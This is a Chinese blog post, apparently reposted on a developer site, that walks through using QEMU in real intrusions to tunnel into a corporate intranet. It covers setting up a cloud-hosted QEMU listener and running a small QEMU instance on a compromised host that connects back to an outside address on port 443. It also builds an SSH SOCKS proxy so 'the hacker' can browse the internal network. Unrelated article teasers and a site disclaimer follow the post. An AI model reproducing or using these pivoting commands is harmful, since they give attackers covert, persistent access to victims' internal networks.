实战中使用 QEMU 进行内网穿透

前言

阅读
https://xz.aliyun.com/t/14052 《使用 QEMU 进行内网穿透?》
https://securelist.com/network-tunneling-with-qemu/111803/ 《Network tunneling with… QEMU?》
我将此项技术应用到实战中,取得不错的效果,但是也遇到很多坑,此篇文章也是一篇排坑的文章

原文章

下面是原文章的拓扑图
请添加图片描述

坑一

原文章中,使用linux 服务器启动qemu 服务端,并且在上面启动监听端口,但是在实际使用中,需要在云上或者vps上搭建服务器环境,云上提供的linux主机一般都没有desk环境,所以qemu在启动的时候会常常报 gtk initialization failed 虽然在启动qemu时加上 --nographic 就可以正常启动,但是linux 终端就会陷入全黑的状态,连光标都消失了。

解决方法

在云上购买windows主机,我买的主机是 Windows Server 2019 数据中心版 64位 中文版
然后根据qemu 官方文档(https://www.qemu.org/download/ ),需要下载和安装 MSYS2 下载地址:https://github.com/msys2/msys2-installer/releases/download/2024-05-07/msys2-x86_64-20240507.exe

安装好之后在UCRT64中执行下面的命令:

pacman -S mingw-w64-ucrt-x86_64-qemu

就安装好qeme了,之后下载 kali-linux-2023.4-live-amd64.iso 放在 C:\msys64\home\Administrator 目录下

坑二

原文章使用的拓扑中,服务器启动的qemu只使用一张网卡,被控主机反连此网卡走的所有流量都是被控主机的流量,并且由于在云主机上启动qemu,云主机上默认不开kvm,所以启动的qemu不能使用 enable-kvm 加速虚拟机,所以导致启动的虚拟机会特别卡顿,卡顿到无法流畅使用的地步。

解决方法

需要修改原文的拓扑
请添加图片描述
上图最关键的是在云主机里面的qemu里面设置双网卡,并且这两个网卡的mac地址要设置为不同的mac地址,不然就会出现mac地址冲突,造成只有一个网卡能正常使用的情况。要给qemu设置双网卡,参考 https://blog.csdn.net/pawpaw77/article/details/130793008 。

  1. 首先要给windows 服务器安装虚拟网卡 先下载tap-window6(https://github.com/OpenVPN/tap-windows6/releases/download/9.26.0/dist.win7.zip) 之后cmd进入AMD64目录(64位系统),执行命令tapinstall install OemVista.inf tap0901,然后Win+R 运行 hdwwiz,添加网络适配器。最后把新建的网卡命名为 tap0。最后给新创建的网卡设置ip地址为192.168.137.1 掩码为255.255.255.0。https://blog.csdn.net/pawpaw77/article/details/130793008 这个文章中在后续需要创建网桥,本人经过多次实验之后,发现完全不需要在windows主机上搭建网桥。
    在这里插入图片描述

  2. 使用如下命令创建qemu虚拟机:

qemu-system-x86_64 -boot d -cdrom kali-linux-2023.4-live-amd64.iso -accel tcg -m 24576 -netdev tap,id=tapnet,ifname=tap0,script=no -device e1000,netdev=tapnet,mac=52:54:00:12:34:57 -device e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 4 -netdev socket,id=n1,listen=:443   // 解决网卡是同mac地址问题 ok

创建好之后,进入qemu虚拟机后配置,

ifconfig eth0 192.168.137.2 netmask 255.255.255.0
  1. 在被控主机上执行如下指令就可以让被控主机和云上的qemu服务器组成一个私有局域网,当被控主机qemu连接到云上的qemu服务器后qume服务器上另一张网卡上就会自动被分配一个ip地址。这样云上的qemu虚拟机就可以无限制的访问到企业内网:
apt update
apt-get install -y qemu-system
qemu-system-x86_64 -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=1.1.1.1:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic

注意,这个命令只能在ubuntu上执行,我尝试在centos上执行,失败了,我在项目中没有那么多时间去研究到底是怎么回事,未来有时间再继续研究一下。
4. 在windows 使用 ssh -D 0.0.0.0:1080 root@192.168.137.2 搭建一条连接到qemu的socks5的代理通道,ssh 监听到0.0.0.0 就可以让hacker主机直接使用windows 主机作为跳板连接到企业内网
5. 黑客在自己的pc机器上做如下设置,就可以直接连接到企业内网了请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/10589.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习算法应用——朴素贝叶斯分类器

朴素贝叶斯分类器 朴素贝叶斯分类器(Naive Bayes Classifier)是一种基于贝叶斯定理和特征条件独立假设的分类方法。它适用于分类任务,特别是文本分类、垃圾邮件识别等领域。 原理 朴素贝叶斯分类器基于以下两个主要假设: 特征条…

JS_ES6(1)

作用域链: 作用域链是底层变量查找的机制:当函数执行时,优先查找当前函数作用域中有无需要用到的变量,如果找不到,逐级查找父级,直到全局 > 嵌套关系形成作用域链,同一作用域链从小到大查找…

taro3兼容支付宝/微信小程序的自定义拖拽排序组件

描述:列表可以完成拖拽排序 此组件是根据支付宝原生文档改编成taro-vue3的形式,只保留了拖拽的部分,其他功能都去除了,测试下来可以兼容支付宝和微信小程序。 支付宝原生文档: https://opendocs.alipay.com/support/…

BGP(border gateway protocol)边界网关协议初识篇

BGP它是一种路径矢量协议,用于决定数据包在互联网中的最佳路径。 1、工作原理: 自治系统(AS)间路由: BGP主要用于连接不同自治系统之间的路由器,其中每个自治系统(AS)代表一组具有共同路由的网…

编译 fdk-aac

文章目录 关于 fdk-aac编译 fdk-aac在 FFMpeg 编译中启用 关于 fdk-aac A standalone library of the Fraunhofer FDK AAC code from Android. github : https://github.com/mstorsjo/fdk-aac代码托管 : https://sourceforge.net/projects/opencore-am…

最新巨量X-Bogus、_signature参数逆向分析与算法还原

文章目录 1. 写在前面2. 接口分析3. 断点分析4. 扣代码补环境5. 数据解密 【🏠作者主页】:吴秋霖 【💼作者介绍】:擅长爬虫与JS加密逆向分析!Python领域优质创作者、CSDN博客专家、阿里云博客专家、华为云享专家。一路…

# 从浅入深 学习 SpringCloud 微服务架构(十六)

从浅入深 学习 SpringCloud 微服务架构(十六) 一、SpringCloudStream:自定义消息通道 1、在子工程 stream_product (子模块)中,创建 自定义的消息通道类 MyProcessor.java /*** spring_cloud_demo\stream_product…

JavaEE概述 + Maven

文章目录 一、JavaEE 概述二、工具 --- Maven2.1 Maven功能 仓库 坐标2.2 Maven之项目构建2.3 Maven之依赖管理 三、插件 --- Maven Helper 一、JavaEE 概述 Java SE、JavaEE: Java SE:指Java标准版,适用于各行各业,主要是Java…

【负载均衡式在线OJ项目day5】OJ服务模块概要

前言 经过四天的努力已经完成了编译运行这个大模块,今天将要进入OJ服务模块设计,该模块的本质就是建立一个小型网站 一.功能 为用户提供题目列表页面为用户提供网站首页(用题目列表充当首页)为用户提供指定题目的编辑页面为用户提供提交代码判题功能&a…

FFmpeg常用API与示例(二)—— 解封装与转封装

封装层 封装格式(container format)可以看作是编码流(音频流、视频流等)数据的一层外壳,将编码后的数据存储于此封装格式的文件之内。 封装又称容器,容器的称法更为形象,所谓容器,就是存放内容的器具,饮料是内容&…

【QT学习】补充:qt使用已经存在的类

1.右键项目--》添加现有文件 注意:不是添加新文件!!! 2.添加配置

掌握Android Fragment开发之魂:Fragment的深度解析(上)

Fragment是Android开发中用于构建动态和灵活界面的基石。它不仅提升了应用的模块化程度,还增强了用户界面的动态性和交互性,允许开发者将应用界面划分为多个独立、可重用的部分,每个部分都可以独立于其他部分进行操作。本文将从以下几个方面深…

信息系统项目管理师0102:可行性研究的内容(7项目立项管理—7.2项目可行性研究—7.2.1可行性研究的内容)

点击查看专栏目录 文章目录 7.2项目可行性研究7.2.1可行性研究的内容1.技术可行性分析2.经济可行性分析3.社会效益可行性分析4.运行环境可行性分析5.其他方面的可行性分析记忆要点总结7.2项目可行性研究 可行性研究是在项目建议书被批准后,从技术、经济、社会和人员等方面的条…

OpenWrt项目UCI配置介绍

UCI(Unified Configuration Interface)是 OpenWrt 项目中使用的一种配置管理系统。它旨在为嵌入式设备提供一个统一且易于理解的配置接口。UCI 主要用于简化 OpenWrt 系统的各种配置过程,使得管理网络、服务和其他系统参数变得更加方便。 1 …

String的substring()方法导致的内存泄露问题

JDK 6的实现 String(int offset, int count, char value[]) {this.value value;this.offset offset;this.count count; }public String substring(int beginIndex, int endIndex) {//check boundaryreturn new String(offset beginIndex, endIndex - beginIndex, value);…

r语言数据分析案例-北京市气温预测分析与研究

一、选题背景 近年来,人类大量燃烧煤炭、天然气等含碳燃料导致温室气 体过度排放,大量温室气体强烈吸收地面辐射中的红外线,造 成温室效应不断累积,使得地球温度上升,造成全球气候变暖。 气象温度的预测一直以来都是…

[算法][差分][延迟相差][leetcode]2960. 统计已测试设备

题目地址: https://leetcode.cn/problems/count-tested-devices-after-test-operations/description/ 解法一:暴力解法 class Solution {public int countTestedDevices(int[] batteryPercentages) {//特殊条件判断if(null batteryPercentages || ba…

JavaScript DOM 对元素进行的操作

DOM(Document Object Model)是一种用于访问和操作HTML和XML文档的编程接口。JavaScript通过DOM提供的方法和属性可以对网页的元素进行各种操作,比如修改元素的内容、样式、属性等。 下面是一些常见的对DOM元素的操作以及相应的代码示例&…

@RequestMapping path正则规范

RequestMapping 注解是 Spring MVC 中用于映射 HTTP 请求的注解之一。它可以用于处理各种 HTTP 请求,包括 GET、POST、PUT、DELETE 等,并且可以指定请求的路径、请求方法、请求参数等信息。 在使用 RequestMapping 注解时,可以使用正则表达式…

51单片机入门:串口通信

串行通信的初步认识 通信方式分类 1、按照数据传送方式: 并行通信:通信时数据的各个位同时传送,可以实现字节为单位的通信。 但是通信线多,占用资源多,成本高。 串行通信:一次只能发送一位&#xff0c…